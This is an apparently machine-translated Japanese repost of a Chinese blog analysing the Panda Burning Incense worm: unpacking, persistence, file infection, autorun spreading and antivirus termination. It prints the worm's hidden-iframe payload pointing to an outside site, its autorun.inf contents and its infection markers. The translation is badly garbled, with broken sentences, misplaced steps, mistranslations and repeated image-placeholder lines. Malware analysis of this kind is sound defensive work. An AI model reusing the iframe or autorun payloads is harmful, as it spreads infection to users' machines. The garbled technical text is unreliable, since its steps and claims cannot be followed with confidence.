悪意のあるコードの解析 - パンダがお香を焚いている

悪意のあるコードの解析 - パンダがお香を焚いている

悪意のあるコードを分析するプロセスを記録する

パンダのお香焚き機能の概要:

ここに画像の説明を挿入します

静的解析

  1. シェルチェック——FSG 2.0
    ここに画像の説明を挿入します
  2. 解凍
    1) OllyDump が OEP を見つけます。
    ここに画像の説明を挿入します
    2) OllyDump がバイナリ ダンプを実行します
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    。 3) ImportRCE がインポート テーブルを修復し、新しいテーブルを OD の Dump の下のバイナリ ファイルにインポートします。
    ここに画像の説明を挿入します
    4) パッケージを再確認します: Delphi によって作成された (これは次の場合に実行する必要があります)関数の呼び出し、レジスタを使用して関数パラメータを転送します)が、インポート テーブルで認識される dll は 1 つだけです。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    5)上記の方法に従って解凍した後、プログラムのデバッグ時にエラーが報告されることがわかります。プログラムの解凍に問題があるため、後で他の友人の方法を参照してください ブロガーは、ジャンク データが IAT に挿入されており、データを手動で変更する必要があることが判明したことに気付きました。
    6) OEP を見つけて、004049E8、次に 00404924 と入力し、IAT の最初のアドレスを見つけてデータ ウィンドウで確認し、その中のガベージ データを 00000000 に変更します。 7) 次に OEP に戻り、OllyDump を使用してプログラムをダンプします。次に、解凍​​操作の最初の
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ステップを繰り返します。解凍されたプログラムを PEID でチェックすると、そのインポート テーブルに多くの依存ライブラリがあることがわかります。
    ここに画像の説明を挿入します

IDA分析

  1. IDA ロード サンプル - すべての関数が IDA によって認識されない
    ここに画像の説明を挿入します
  2. プログラムは Delphi で書かれているので、IDA に Delphi の署名を追加します。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入しますここに画像の説明を挿入します
  3. IDA ウィンドウをもう一度見ると、いくつかの関数が正しく識別されています。
    ここに画像の説明を挿入します
  4. まず初期化のために関数 InitExe を呼び出し、次に LStrAsg 関数を複数回呼び出して初期化のための文字列をコピーします。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
  5. さらに下に進むと、最初の認識されない関数 sub_405250 が見つかりました。分析後、この関数は復号化関数であることがわかります。
    ここに画像の説明を挿入します
    受信パラメータは IDA から簡単に分析できないため、IDA の次の段落に進み、次のことがわかります。入力パラメータは 2 つの文字列とスタック アドレスであり、この関数による処理後、同じ長さの別の文字列がスタックに保存されます。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
  6. 関数の名前をsub_405250に変更します
    ここに画像の説明を挿入します
  7. 続いて、0040D60Aでは、この復号関数とLStrCmpを呼び出して文字列比較を行っており、ここでプログラムの検証を行っており、検証に失敗した場合にはプログラムを終了する。
    ここに画像の説明を挿入します
  8. 続けて下に進み、sub_40819C、sub_40D18C、sub_40D088 の 3 つの関数を呼び出します。これら 3 つの関数を呼び出した後、プログラムのロジック全体は比較的単純で、他の関数呼び出しはほとんどありません。つまり、これら 3 つの関数には悪意のあるコードのほとんどが含まれています。 . コア機能。
    ここに画像の説明を挿入します
  9. 次に、これら 3 つの機能を個別に分析します。

サブ_40819C

  1. sub_40819C —— 悪意のあるプログラムが常駐し、バット ファイルとプログラム実行パスの検出を作成して実行します
    1) この関数は最初にループを実行し、132 サイクルを実行し、毎回 2 回のプッシュ 0 操作を実行します。これにより、スタック領域が割り当てられます。
    ここに画像の説明を挿入します
    2) 続けて、認識できないシステム関数を見つけ、OD を使用して動的解析を実行したところ、このシステム関数の機能は、受信パスのディレクトリを取得し、IDA で SyS_GetPath_Folder という名前に変更することであることがわかりました。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    3) 現在のプログラムのパスと Desktop.ini ファイルが結合されることがわかります。このファイルにアクセスまたは作成する必要があり、このファイルのパスは OD を組み合わせることで取得できます
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    。 、前の手順を再度繰り返してパスを取得し、そのプロパティを変更して、このファイルを削除することがわかります (ここでの目的は、Desktop.ini ファイルが作成されたばかりかどうかを確認し、作成されていない場合は削除することです)
    ここに画像の説明を挿入します
    ): 5) さらに下に進むと、このプログラムによって渡されるパラメータである Function sub_407650 が現在のプログラムの実行パスであることがわかります。実行された構造体は var_4 変数に保存されます。ここでの計算結果は「MZ」ですプログラムパスの検証機能であると推測されます。「My_Guess_Path_Check」に名前を変更します。
    ここに画像の説明を挿入します
    6) プログラムは 004082E7 で判定を行い、判定が失敗した場合はループに入り、最終的に 004082F3 にジャンプします (sub_40521C は文字列の大文字変換であり、名前が "My_Upper_Str" に変更されます)。
    ここに画像の説明を挿入します
    ODの中段と下段
    ここに画像の説明を挿入します
    Check; の関数呼び出し 自分自身をシステムパスにコピーし、実行時にシステムパス下で動作しているかどうかを確認します。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    9) プログラムがシステム パスで実行されていない場合、悪意のあるプログラムは自分自身をシステム パス、つまり「C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE」にコピーして実行します。プログラムはシステム
    ここに画像の説明を挿入します
    パスで実行されています。 次に、最終的にアドレス 00408584 に対して実行されます。
    ここに画像の説明を挿入します
    11) ここで、関数 sub_407B68 と sub_405458 が呼び出され、2 つの関数がそれぞれ分析されます。
    • sub_407B68 関数- プログラムは、システム環境と実行パスを検出し、バット ファイルを実行し、名前を変更します。My_Create_BatFile は、システムの
      一時フォルダーのパスを取得します。
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      一時フォルダーにバッチ ファイルを作成します。
      ここに画像の説明を挿入します
      次に、文字列のスプライシングを実行します
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      。フォルダー内のバッチ ファイルを保存して表示します。
      ここに画像の説明を挿入します
    • sub_405458 - この関数の主な機能は、プロセスを走査し、spolsv.exe プロセスが実行されているかどうかを確認し、名前を SyS_Check_Process_Running に変更することです。 12)
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
      悪意のあるプログラムのプロセスが実行されていない場合は、システムで悪意のあるプログラムを再実行します。ディレクトリ。

サブ_40D18C

  1. sub_40D18C - プログラムの悪意のある動作: 被害者のホストに感染するファイルの sub_40D18C 関数は、悪意のあるプログラムの主要な機能モジュールであり、この関数に続いて、次の 3 つの関数が呼び出されていることがわかります。
    ここに画像の説明を挿入します

    サブ_40A5B0

    1) 最初の関数 sub_40A5B0 のメイン関数はスレッドを作成することです:
    ここに画像の説明を挿入します
    スレッドのコード ブロックに従います。ここのコードは最初にディスク ディレクトリを取得します。
    ここに画像の説明を挿入します
    次のメイン関数は関数 sub_409348 に集中しています。
    ここに画像の説明を挿入します

    sub_409348

    分析するには関数 sub_409348 に従ってください。この関数は非常に複雑であり、悪意のあるプログラム全体の主要な機能モジュールである必要があります。プログラムは最初に感染したホストを横断し、次にファイルの形式に従ってさまざまな操作を実行します。フォルダーの場合、指定したフォルダーに
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    DeskTop.ini ファイルが作成され、ファイルの作成時刻が確認されます。この時点で生成されていない場合、ファイルは削除されます。
    ここに画像の説明を挿入します
    ファイルが異なれば、異なる操作が使用されます。これらのファイルは 2 つのカテゴリに分類されます:
    1) Exe、scr、fip、com、
    2) Html、asp、php、jsp、aspx。最初のタイプのファイルの場合、関数sub_407F00
    ここに画像の説明を挿入します
    は次のとおりです。処理ために、2 番目のタイプのファイルは関数sub_4079CCを呼び出して処理します。動的検出の結果と組み合わせると、悪意のあるプログラムがすべての実行可能ファイルを同じアイコンに変え、ここでのコードは感染したファイルをトラバースするだけであることがわかります。ホスト.すべてのファイルの場合、これは悪意のあるプログラムの中核となる悪意のある動作部分であるはずです。異なるファイル タイプは異なる関数を呼び出すため、上記の 2 つの関数を個別に分析しましょう: a) 1 つ目は sub_407F00. この関数は最初にファイルをスキャンします。名前を調べて、それが悪意のあるプログラム自体であるかどうかを確認します。次に、スキャンされたファイルをメモリに読み込みます。次に、メモリ内のファイルのデータに文字列「WhBoy」が含まれているかどうかを確認します。これは、プログラムがすでに感染しているかどうかを検出するために使用されます. 感染した場合、その後の感染操作は行われません、つまり「WhBoy」という文字列はプログラム感染の特徴の一つです。現在実行中の悪意のあるプログラムをトラバースされたファイルに置き換えます
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します

     


    ここに画像の説明を挿入します

    ここに画像の説明を挿入します

    ここに画像の説明を挿入します

    ここに画像の説明を挿入します
    次に、長い文字列の連結を行い、合計 6 つの文字列を連結して目的の文字列を取得しますが、そのうちの 1 つは走査されたファイル データによって処理されるため、システム関数と関数 sub_405534 が処理されます。
    ここに画像の説明を挿入します
    OD 動的デバッグを使用して文字列を確認します。これらはそれぞれ 0x1h と 0x2h です。文字列に表示される数字はファイルのサイズである必要があるため、この文字の構成は次のようになります。
    "WhBoy" + プログラム名 + ".exe" + 0x1h + ソースファイルサイズ + 0x2h
    ここに画像の説明を挿入します
    さらに、悪意のあるプログラム全体の中核となる機能を発見しました。これは、スキャンされたファイルの実際のデータを「偽の」スキャンされたファイルの後ろに追加することです (この時点で、スキャンされたファイルは悪意のあるプログラムによって置き換えられています)。を追加し、上記を結合します。結果の文字列も追加されます。
    ここに画像の説明を挿入します
    機能の概要: システム内のソース ファイルが感染すると、次のようになります。悪意のあるプログラム + ソース ファイル + 感染マーカー文字列
     
    b) 次は関数 sub_4079CC です。
    ここに画像の説明を挿入します
    関数はまず感染ファイルをメモリに保存し、次に復号化関数を呼び出して 2 つの文字列を計算し、その
    ここに画像の説明を挿入します
    文字列をトラバーサル var_8 に保存します。OD でデバッグして取得した文字列は次のとおりです。この文字列は HTML ウィンドウの隠しコードであることがわかり、改変されたコードにより HTML ファイルに悪意のあるコードが挿入され、悪意のあるサイトに密かにアクセスできるものと推測されます。
    ここに画像の説明を挿入します
    続いて、プログラムは元のファイルにこの悪意のある HTML コードが既に含まれているかどうかを判断して、ファイルが感染しているかどうかを検出します。「</iframe src=http://www.ac86.cn/66/index.htm width=”0” height=”0”></iframe>」は、2 番目のタイプのファイルの感染マークです。
    ここに画像の説明を挿入します
    続いて、ファイル内に悪意のある HTML コードが書き込まれている部分を発見しました。OD
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    デバッグを使用して関連する特定の情報を取得したところ、悪意のある HTML コードが改行文字「\n」と復帰文字「\」をつなぎ合わせていることがわかりました。 r"; 続行 シングルステップ デバッグでは、この関数のパラメータが結合された悪意のある HTML コードであり、計算後の eax の戻り値が正確に 0x4Ch (10 進数 72) であるため、00407A90 の関数が長さ計算関数であることを検証できます。 )、これはまさに悪意のあるコードの長さです。
    ここに画像の説明を挿入します

    サブ_40C374

    2 番目の関数 sub_40C374 に従い、TimerFunc でコードを定期的に実行するタイマーを設定します。
    ここに画像の説明を挿入します
    分析のためにこのコード セグメントを入力します。ここのコードは 2 つの文字列を結合します。1 つは "C:\setup.exe "、もう 1 つは " C:\ autorun.inf"
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    。続行する場合は、2 つのファイルの作成時刻が一致しているかどうかを確認します。時刻が一致していない場合は、現在のプログラムを「C:\ setup.exe」にコピーします。時刻が一致している場合は、現在のプログラムを「C:\ setup.exe」にコピーします。現在のプログラムが「C:\setup.exe」であるかどうかを確認します。
    ここに画像の説明を挿入します
    そうでない場合は、「C:\setup.exe」を削除し、
    ここに画像の説明を挿入します
    ソース プログラムを C ドライブのルート ディレクトリにコピーし、名前を変更します。 "C:\setup.exe" "
    ここに画像の説明を挿入します
    上記プログラムをコピー後、再度時刻をチェックします。条件を満たしていれば0040C10Fにジャンプします。この部分はinfファイルの内容をチェックします。比較内容は" [AutoRun]\r\nOPEN= setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”) 内容が条件を満たさない場合は、元の inf を削除し
    ここに画像の説明を挿入します
    ますfile:
    ここに画像の説明を挿入します
    次に、新しい inf ファイルを作成し、比較に使用した内容を inf ファイルに書き込みます。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    次に、setup.exe と autorun.inf のプロパティを非表示に設定します。
    ここに画像の説明を挿入します

    サブ_40BACC

    次に、関数 sub_40BACC に従います。この関数の構成は比較的単純です。主に乱数生成関数と関数 sub_403C00 を呼び出します。関数 sub_403C00 に従って、
    ここに画像の説明を挿入します
    この関数がプロセスを作成することがわかります。
    ここに画像の説明を挿入します
    プロセスのアドレスの直後に続けることはできません。有用な情報を見つけます。関数呼び出し edx が動的に呼び出されます。OD を使用して次のセクションを確認します。関数のアドレスは 0040BA8C です。アドレス 0040BA8C に続き、アドレス ブロック コードは関数 sub_40B864 を呼び出し、関数 sub_40B864 に続き
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ます
    ここに画像の説明を挿入します
    。そして、この関数が悪意のあるコードをイントラネット経由で広めることを発見します。
    ここに画像の説明を挿入します

サブ_40D088

  1. sub_40D088 - プログラムの実行と常駐のためのタイマーを設定します。
    次に、関数 sub_40D0888 を分析します。1) この関数は、コード ブロックを実行するためにタイマーを複数回呼び出します: sub_40CEE4
    sub_40D040
    sub_40D048
    sub_407430
    sub_40CC4C
    sub_40C728
    1

    ここに画像の説明を挿入します
    ) 最初のコード ブロック sub_40CEE4 の関数:
    ここコードは、最初に関数 sub_406E2C を呼び出してプロセスを作成します。
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    プロセスのコード アドレスは、最初に権限昇格操作を実行し、次に同じコード関数を繰り返します。つまり、現在のプロセスで多くのプロセスを検索します
    ここに画像の説明を挿入します
    。データをアドレス指定して、これらのプロセスがすべてウイルス対策プロセスであることを確認します。ウイルス対策
    ここに画像の説明を挿入します
    ソフトウェアに加えて、一部のシステム タスク管理プロセスがシャットダウンされます。
    ここに画像の説明を挿入します
    つまり、悪意のあるプログラムがこれらのウイルス対策プロセスと一部のタスク管理をシャットダウンします。プロセスが強制終了されたり検出されたりするのを防ぎます。
    次に、悪意のあるプログラムの自己起動を容易にするためにレジストリが作成および変更されます。
    ここに画像の説明を挿入します
    2) コード ブロック sub_40D040 の分析によって
    スレッドも作成されます。スレッドの開始アドレスは sub_40C9B0 であり、
    ここに画像の説明を挿入します
    スレッドの開始アドレスに従います。スレッドは最初に復号化関数 sub_40C4EC を呼び出し、次に関数 sub_40C5E0 を呼び出して QQ を使用して URL にアクセスし、指定されたサイトからファイルをダウンロードします。最後に、西側のファイルと復号化されたファイルを比較します。sub_40C5E0 は QQ を使用して URL にアクセスし、ファイルのダウンロード 3
    ここに画像の説明を挿入します
    )
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    コード ブロック sub_40D048 の 3 番目の機能分析:
    2 つのスレッドを作成します。
    ここに画像の説明を挿入します
    最初のスレッド sub_40CC34 の開始は、2 番目のコード ブロックのスレッド開始アドレスです。繰り返し操作がここで実行されます。2 番目の
    スレッド sub_40CDEC - 感染したホストのファイル共有を削除します。

    • cmd を使用してコマンドを実行します。
      ここに画像の説明を挿入します
      ここに画像の説明を挿入します
    • 次に、別のコマンドの実行を続けます。
      ここに画像の説明を挿入します

    4) 4 番目のコード ブロック sub_407430 の分析:
    スレッドも作成します。
    ここに画像の説明を挿入します
    システム サービス、ウイルス対策プロセス サービスをシャットダウンし、特定のレジストリを削除します。
    ここに画像の説明を挿入します

    5) 5 番目のコード ブロック sub_40CC4C 解析と 6 番目のコード ブロック sub_40C728 の機能は、前のコード ブロックの機能を組み合わせたものです。

  2. お香を焚いているパンダ全体の機能解析が完了しました(@_@)

  3. 概要: 悪意のあるプログラム Panda Burning Incense の解析は比較的完了しましたが、まだ十分に解析されていない部分が多くあります。主な理由は技術が限られているためです/(ㄒoㄒ)/~~ (技術がないという涙を残す) 。さらに、この分析プロセスでは、Delphi 言語の関連する基本機能が IDA によって認識されていなかったため、分析プロセスは非常に困難であり、作成者の関数機能に加えて、Delphi 言語の多くの基本機能も分析する必要がありました。 . 関数、およびこれらの基本的な関数は、分析するのが比較的困難です/(ㄒoㄒ)/~~ (また技術なしで涙を残す)。

参考リンク

分析の過程で、以下の友人のブログを参考にしました。
参考リンク 1
参考リンク 2
参考リンク 3

おすすめ

転載: blog.csdn.net/weixin_39561364/article/details/114031257
おすすめ